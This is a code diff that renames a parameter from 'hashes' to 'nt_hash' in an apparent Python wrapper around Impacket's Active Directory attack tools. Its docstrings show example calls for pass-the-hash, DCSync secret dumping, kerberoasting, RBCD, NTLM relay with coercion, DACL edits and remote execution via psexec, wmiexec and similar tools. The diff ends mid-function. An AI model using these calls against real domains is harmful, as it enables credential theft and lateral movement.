+353,7 @@ def _build_domain_first_identity( def _build_auth_flags( self, *, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, password: str | None = None, @@ -364,7 +364,7 @@ def _build_auth_flags( Automatically adds -no-pass when no password/hash is provided. Args: - hashes: NTLM hashes in LMHASH:NTHASH format + nt_hash: NTLM hashes in LMHASH:NTHASH format kerberos: Use Kerberos authentication (-k) aes_key: AES key for Kerberos password: Password (used to determine if -no-pass is needed) @@ -373,14 +373,14 @@ def _build_auth_flags( List of authentication flags """ # Normalize empty strings to None - hashes = hashes or None + nt_hash = nt_hash or None aes_key = aes_key or None password = password or None flags = [] - if hashes: - flags.extend(["-hashes", hashes]) + if nt_hash: + flags.extend(["-hashes", nt_hash]) if kerberos: flags.append("-k") @@ -390,7 +390,7 @@ def _build_auth_flags( # Auto-add -no-pass when no password/hash provided # This prevents impacket from prompting for password interactively - if not hashes and not password: + if not nt_hash and not password: flags.append("-no-pass") return flags @@ -553,7 +553,7 @@ def _build_coercion_command( username: str | None = None, password: str | None = None, domain: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, dc_ip: str | None = None, pipe: str | None = None, @@ -567,7 +567,7 @@ def _build_coercion_command( username: Username for authentication to the target. password: Password for authentication. domain: Domain name. - hashes: NTLM hashes for authentication. + nt_hash: NTLM hashes for authentication. kerberos: Use Kerberos authentication (petitpotam/dfscoerce only). dc_ip: Domain controller IP (petitpotam/dfscoerce only). pipe: Named pipe to use (petitpotam only). @@ -593,15 +593,15 @@ def _build_coercion_command( args: list[str] = [] if username: args.extend(["-u", username]) - if hashes: - args.extend(["-hashes", hashes]) + if nt_hash: + args.extend(["-hashes", nt_hash]) elif password: args.extend(["-p", password]) if domain: args.extend(["-d", domain]) # Auto -no-pass when no creds provided (prevents interactive prompt) - if not password and not hashes: + if not password and not nt_hash: args.append("-no-pass") # petitpotam/dfscoerce support -k and -dc-ip; shadowcoerce does not @@ -627,7 +627,7 @@ async def impacket_rbcd( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -642,7 +642,7 @@ async def impacket_rbcd( This tool modifies the msDS-AllowedToActOnBehalfOfOtherIdentity property for RBCD attacks. Authentication: - At least one of (password, hashes, kerberos) must be provided. + At least one of (password, nt_hash, kerberos) must be provided. Domain and username are required unless using Kerberos with KRB5CCNAME. Usage Examples: @@ -671,7 +671,7 @@ async def impacket_rbcd( action="flush", domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -711,7 +711,7 @@ async def impacket_rbcd( domain: Domain name (e.g., 'corp.local'). username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -724,8 +724,8 @@ async def impacket_rbcd( if action == "write" and not delegate_from: raise ValueError("delegate_from is required when action='write'") - if not (password or hashes or kerberos): - raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") + if not (password or nt_hash or kerberos): + raise ValueError("Must provide at least one authentication method: password, nt_hash, or kerberos") # Build identity identity = self._build_basic_identity(domain=domain, username=username, password=password) @@ -746,7 +746,7 @@ async def impacket_rbcd( if use_ldaps: args.append("-use-ldaps") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -764,7 +764,7 @@ async def impacket_get_gpp_password( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -795,7 +795,7 @@ async def impacket_get_gpp_password( target="dc01.corp.local", domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", share="SYSVOL" ) @@ -841,7 +841,7 @@ async def impacket_get_gpp_password( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -871,7 +871,7 @@ async def impacket_get_gpp_password( if port is not None: args.extend(["-port", str(port)]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) return await execute( @@ -888,7 +888,7 @@ async def impacket_find_delegation( domain: str, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -914,7 +914,7 @@ async def impacket_find_delegation( await impacket_find_delegation( domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", dc_ip="10.0.0.1" ) @@ -958,7 +958,7 @@ async def impacket_find_delegation( domain: Domain name (required). username: Username for authentication (optional for anonymous queries). password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -976,7 +976,7 @@ async def impacket_find_delegation( if target_domain: args.extend(["-target-domain", target_domain]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -993,7 +993,7 @@ async def impacket_get_laps_password( domain: str, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -1028,7 +1028,7 @@ async def impacket_get_laps_password( await impacket_get_laps_password( domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", outputfile="laps_passwords.txt" ) @@ -1064,7 +1064,7 @@ async def impacket_get_laps_password( domain: Domain name (required). username: Username for authentication (optional for anonymous queries). password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -1086,7 +1086,7 @@ async def impacket_get_laps_password( if outputfile: args.extend(["-outputfile", outputfile]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -1294,7 +1294,7 @@ async def impacket_get_st( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -1314,7 +1314,7 @@ async def impacket_get_st( Requests Kerberos service tickets, supports S4U2Self/S4U2Proxy for delegation attacks. Authentication: - At least one of (password, hashes, kerberos) must be provided. + At least one of (password, nt_hash, kerberos) must be provided. Domain and username are required unless using Kerberos with KRB5CCNAME. Usage Examples: @@ -1331,7 +1331,7 @@ async def impacket_get_st( spn="http/webapp.corp.local", domain="corp.local", username="serviceaccount", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", impersonate="Administrator" ) @@ -1385,7 +1385,7 @@ async def impacket_get_st( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -1400,8 +1400,8 @@ async def impacket_get_st( input: Optional input string to pass to the command's stdin. """ # Validation - if not (password or hashes or kerberos): - raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") + if not (password or nt_hash or kerberos): + raise ValueError("Must provide at least one authentication method: password, nt_hash, or kerberos") # Build identity identity = self._build_basic_identity(domain=domain, username=username, password=password) @@ -1436,7 +1436,7 @@ async def impacket_get_st( if renew: args.append("-renew") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -1453,7 +1453,7 @@ async def impacket_get_user_spns( domain: str, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -1495,7 +1495,7 @@ async def impacket_get_user_spns( await impacket_get_user_spns( domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", request=True, dc_ip="10.0.0.1" ) @@ -1542,7 +1542,7 @@ async def impacket_get_user_spns( domain: Domain name (required). username: Username for authentication (optional for anonymous queries). password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -1588,7 +1588,7 @@ async def impacket_get_user_spns( if stealth: args.append("-stealth") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -1605,7 +1605,7 @@ async def impacket_add_computer( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -1628,7 +1628,7 @@ async def impacket_add_computer( Adds machine accounts using SAMR (over SMB) or LDAPS protocols. Authentication: - At least one of (password, hashes, kerberos) must be provided. + At least one of (password, nt_hash, kerberos) must be provided. Domain and username are required unless using Kerberos with KRB5CCNAME. Usage Examples: @@ -1652,7 +1652,7 @@ async def impacket_add_computer( await impacket_add_computer( domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", method="LDAPS", computer_name="EVIL$" ) @@ -1699,7 +1699,7 @@ async def impacket_add_computer( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -1717,8 +1717,8 @@ async def impacket_add_computer( input: Optional input string to pass to the command's stdin. """ # Validation - if not (password or hashes or kerberos): - raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") + if not (password or nt_hash or kerberos): + raise ValueError("Must provide at least one authentication method: password, nt_hash, or kerberos") # Build identity identity = self._build_basic_identity(domain=domain, username=username, password=password) @@ -1757,7 +1757,7 @@ async def impacket_add_computer( if delete: args.append("-delete") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, dc_host=dc_host)) return await execute( @@ -1774,7 +1774,7 @@ async def impacket_get_tgt( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -1789,7 +1789,7 @@ async def impacket_get_tgt( Requests a TGT from the KDC and saves it as a ccache file. Authentication: - At least one of (password, hashes, kerberos) must be provided. + At least one of (password, nt_hash, kerberos) must be provided. Domain and username are required unless using Kerberos with KRB5CCNAME. Usage Examples: @@ -1804,7 +1804,7 @@ async def impacket_get_tgt( await impacket_get_tgt( domain="corp.local", username="administrator", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", dc_ip="10.0.0.1" ) @@ -1846,7 +1846,7 @@ async def impacket_get_tgt( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -1856,8 +1856,8 @@ async def impacket_get_tgt( input: Optional input string to pass to the command's stdin. """ # Validation - if not (password or hashes or kerberos): - raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") + if not (password or nt_hash or kerberos): + raise ValueError("Must provide at least one authentication method: password, nt_hash, or kerberos") # Build identity identity = self._build_basic_identity(domain=domain, username=username, password=password) @@ -1875,7 +1875,7 @@ async def impacket_get_tgt( if principal_type: args.extend(["-principalType", principal_type]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -2217,7 +2217,7 @@ async def impacket_ntlmrelay_attack( coerce_username: str | None = None, coerce_password: str | None = None, coerce_domain: str | None = None, - coerce_hashes: str | None = None, + coerce_nt_hash: str | None = None, coerce_dc_ip: str | None = None, coerce_pipe: str | None = None, # Timing @@ -2260,7 +2260,7 @@ async def impacket_ntlmrelay_attack( coerce_username: Username for coercion authentication. coerce_password: Password for coercion authentication. coerce_domain: Domain for coercion authentication. - coerce_hashes: NTLM hashes for coercion authentication. + coerce_nt_hash: NTLM hash for coercion authentication, in LMHASH:NTHASH format. coerce_dc_ip: Domain controller IP for coercion. coerce_pipe: Named pipe for PetitPotam (e.g. "efsr", "lsarpc"). relay_timeout: Total timeout in seconds (default 120). @@ -2275,7 +2275,7 @@ async def impacket_ntlmrelay_attack( username=coerce_username, password=coerce_password, domain=coerce_domain, - hashes=coerce_hashes, + nt_hash=coerce_nt_hash, dc_ip=coerce_dc_ip, pipe=coerce_pipe, ) @@ -2366,7 +2366,7 @@ async def impacket_owneredit( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -2386,7 +2386,7 @@ async def impacket_owneredit( Modifies the owner attribute of Active Directory objects. Authentication: - At least one of (password, hashes, kerberos) must be provided. + At least one of (password, nt_hash, kerberos) must be provided. Domain and username are required unless using Kerberos with KRB5CCNAME. Usage Examples: @@ -2416,7 +2416,7 @@ async def impacket_owneredit( new_owner_dn="CN=Attacker,CN=Users,DC=corp,DC=local", domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -2465,7 +2465,7 @@ async def impacket_owneredit( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -2480,8 +2480,8 @@ async def impacket_owneredit( input: Optional input string to pass to the command's stdin. """ # Validation - if not (password or hashes or kerberos): - raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") + if not (password or nt_hash or kerberos): + raise ValueError("Must provide at least one authentication method: password, nt_hash, or kerberos") if not (target or target_sid or target_dn): raise ValueError("Must provide at least one target identifier: target, target_sid, or target_dn") @@ -2522,7 +2522,7 @@ async def impacket_owneredit( if use_ldaps: args.append("-use-ldaps") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -2540,7 +2540,7 @@ async def impacket_secretsdump( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -2582,7 +2582,7 @@ async def impacket_secretsdump( target="dc01.corp.local", domain="corp.local", username="administrator", - hashes="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" ) # DCSync attack to dump specific user with Kerberos ticket @@ -2664,7 +2664,7 @@ async def impacket_secretsdump( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -2742,7 +2742,7 @@ async def impacket_secretsdump( if ntds: args.extend(["-ntds", ntds]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) return await execute( @@ -2759,7 +2759,7 @@ async def impacket_get_np_users( domain: str, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -2833,7 +2833,7 @@ async def impacket_get_np_users( domain: Domain name (required). username: Username for authentication (optional for anonymous queries). password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -2862,7 +2862,7 @@ async def impacket_get_np_users( if usersfile: args.extend(["-usersfile", usersfile]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -2882,7 +2882,7 @@ async def impacket_changepasswd( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -2925,7 +2925,7 @@ async def impacket_changepasswd( target="dc01.corp.local", domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", newpass="NewPass123!", protocol="kpasswd" ) @@ -2979,7 +2979,7 @@ async def impacket_changepasswd( domain: Domain name. username: Username for authentication (target user). password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -3022,7 +3022,7 @@ async def impacket_changepasswd( if reset: args.append("-reset") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -3040,7 +3040,7 @@ async def impacket_dacledit( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -3065,7 +3065,7 @@ async def impacket_dacledit( Edits Discretionary Access Control Lists for Active Directory objects. Authentication: - At least one of (password, hashes, kerberos) must be provided. + At least one of (password, nt_hash, kerberos) must be provided. Domain and username are required unless using Kerberos with KRB5CCNAME. Usage Examples: @@ -3097,7 +3097,7 @@ async def impacket_dacledit( rights="DCSync", domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -3155,7 +3155,7 @@ async def impacket_dacledit( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). aes_key: AES key for Kerberos authentication (128 or 256 bits). dc_ip: Domain controller IP address override. @@ -3175,8 +3175,8 @@ async def impacket_dacledit( input: Optional input string to pass to the command's stdin. """ # Validation - if not (password or hashes or kerberos): - raise ValueError("Must provide at least one authentication method: password, hashes, or kerberos") + if not (password or nt_hash or kerberos): + raise ValueError("Must provide at least one authentication method: password, nt_hash, or kerberos") if not (target or target_sid or target_dn): raise ValueError("Must provide at least one target identifier: target, target_sid, or target_dn") @@ -3232,7 +3232,7 @@ async def impacket_dacledit( if file: args.extend(["-file", file]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -3251,7 +3251,7 @@ async def impacket_lookup_sid( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, target_ip: str | None = None, port: int | None = None, @@ -3278,7 +3278,7 @@ async def impacket_lookup_sid( target="dc01.corp.local", domain="corp.local", username="user", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", max_rid=10000 ) @@ -3320,7 +3320,7 @@ async def impacket_lookup_sid( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. kerberos: Use Kerberos authentication (requires KRB5CCNAME environment variable). target_ip: Target machine IP address override. port: Destination port to connect to SMB server. @@ -3343,7 +3343,7 @@ async def impacket_lookup_sid( if port is not None: args.extend(["-port", str(port)]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=None, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=None, password=password)) args.extend(self._build_connection_flags(target_ip=target_ip)) return await execute( @@ -3366,7 +3366,7 @@ async def impacket_wmiexec( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -3403,7 +3403,7 @@ async def impacket_wmiexec( command="ipconfig /all", domain="corp.local", username="administrator", - hashes="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -3443,7 +3443,7 @@ async def impacket_wmiexec( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format. + nt_hash: NTLM hashes in LMHASH:NTHASH format. kerberos: Use Kerberos authentication. aes_key: AES key for Kerberos authentication. dc_ip: Domain controller IP address override. @@ -3474,7 +3474,7 @@ async def impacket_wmiexec( if port is not None: args.extend(["-port", str(port)]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) # If no command given, send exit to prevent interactive shell hang @@ -3496,7 +3496,7 @@ async def impacket_psexec( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -3532,7 +3532,7 @@ async def impacket_psexec( command="ipconfig", domain="corp.local", username="administrator", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", service_name="mySvc" ) @@ -3574,7 +3574,7 @@ async def impacket_psexec( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format. + nt_hash: NTLM hashes in LMHASH:NTHASH format. kerberos: Use Kerberos authentication. aes_key: AES key for Kerberos authentication. dc_ip: Domain controller IP address override. @@ -3602,7 +3602,7 @@ async def impacket_psexec( if port is not None: args.extend(["-port", str(port)]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) # If no command given, send exit to prevent interactive shell hang @@ -3624,7 +3624,7 @@ async def impacket_smbexec( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -3693,7 +3693,7 @@ async def impacket_smbexec( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format. + nt_hash: NTLM hashes in LMHASH:NTHASH format. kerberos: Use Kerberos authentication. aes_key: AES key for Kerberos authentication. dc_ip: Domain controller IP address override. @@ -3721,7 +3721,7 @@ async def impacket_smbexec( if port is not None: args.extend(["-port", str(port)]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip, target_ip=target_ip)) # smbexec opens a shell — send command via stdin, then exit @@ -3743,7 +3743,7 @@ async def impacket_atexec( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -3803,7 +3803,7 @@ async def impacket_atexec( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format. + nt_hash: NTLM hashes in LMHASH:NTHASH format. kerberos: Use Kerberos authentication. aes_key: AES key for Kerberos authentication. dc_ip: Domain controller IP address override. @@ -3822,7 +3822,7 @@ async def impacket_atexec( if codec: args.extend(["-codec", codec]) - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) return await execute( @@ -3841,7 +3841,7 @@ async def impacket_dcomexec( domain: str | None = None, username: str | None = None, password: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, kerberos: bool = False, aes_key: str | None = None, dc_ip: str | None = None, @@ -3877,7 +3877,7 @@ async def impacket_dcomexec( command="net localgroup administrators", domain="corp.local", username="administrator", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0", + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0", dcom_object="ShellWindows" ) @@ -3919,7 +3919,7 @@ async def impacket_dcomexec( domain: Domain name. username: Username for authentication. password: Password for authentication. - hashes: NTLM hashes in LMHASH:NTHASH format. + nt_hash: NTLM hashes in LMHASH:NTHASH format. kerberos: Use Kerberos authentication. aes_key: AES key for Kerberos authentication. dc_ip: Domain controller IP address override. @@ -3949,7 +3949,7 @@ async def impacket_dcomexec( if silentcommand: args.append("-silentcommand") - args.extend(self._build_auth_flags(hashes=hashes, kerberos=kerberos, aes_key=aes_key, password=password)) + args.extend(self._build_auth_flags(nt_hash=nt_hash, kerberos=kerberos, aes_key=aes_key, password=password)) args.extend(self._build_connection_flags(dc_ip=dc_ip)) # 